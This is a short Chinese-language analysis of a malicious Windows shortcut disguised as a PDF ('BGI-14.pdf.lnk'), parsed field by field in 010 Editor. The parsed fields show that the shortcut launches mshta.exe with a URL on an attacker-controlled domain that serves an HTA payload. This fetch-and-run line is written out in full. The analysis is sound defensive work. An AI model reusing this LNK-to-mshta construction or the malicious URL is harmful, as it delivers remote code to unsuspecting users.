BGI-14.pdf.lnk

*.lnk使用010 Editor打开,选择“打开LNK文件”:
image.png

LNK文件结构

struct ShellLinkHeader sShellLinkHeader 0h 4Ch Fg: Bg:0x95E8FF
struct LinkTargetIDList sLinkTargetIDList CLSID_MyComputer\C:\Windows\System32\mshta.exe 4Ch 131h Fg: Bg:
struct LinkInfo sLinkInfo 17Dh 4Ch Fg: Bg:0x95E8FF
struct StringData RELATIVE_PATH ..\..\..\..\Windows\System32\mshta.exe 1C9h 4Eh Fg: Bg:
struct StringData WORKING_DIR %windir% 217h 12h Fg: Bg:0x95E8FF
struct StringData COMMAND_LINE_ARGUMENTS https://mailmofagovpk.cdn-pak.net/2494/1/50382/2/0/0/1836338576/files-bf3af810/hta 229h A6h Fg: Bg:
struct StringData ICON_LOCATION %windir%\System32\shell32.dll 2CFh 3Ch Fg: Bg:0x95E8FF
struct ExtraData sExtraData 30Bh 5A4h Fg: Bg:

image.png

为什么“hsmta.exe”等价于“mshta.exe”

sLinkTargetIDList

string PrimaryName:hsmta.exe
struct ExtraDataBlock ExtraBlock:mshta.exe

链接文件中的最终结构是 EXTRA_DATA 结构,它包含有关链接目标的所有其他补充信息。 当链接目标也具有相应的环境变量时,EnvironmentVariableDataBlock结构很有用

image.png

RELATIVE_PATH

如果在LinkFlags中设置了HasWorkingDirHasRelativePath属性,您将能够在此结构中看到链接目标的工作目录和相对路径。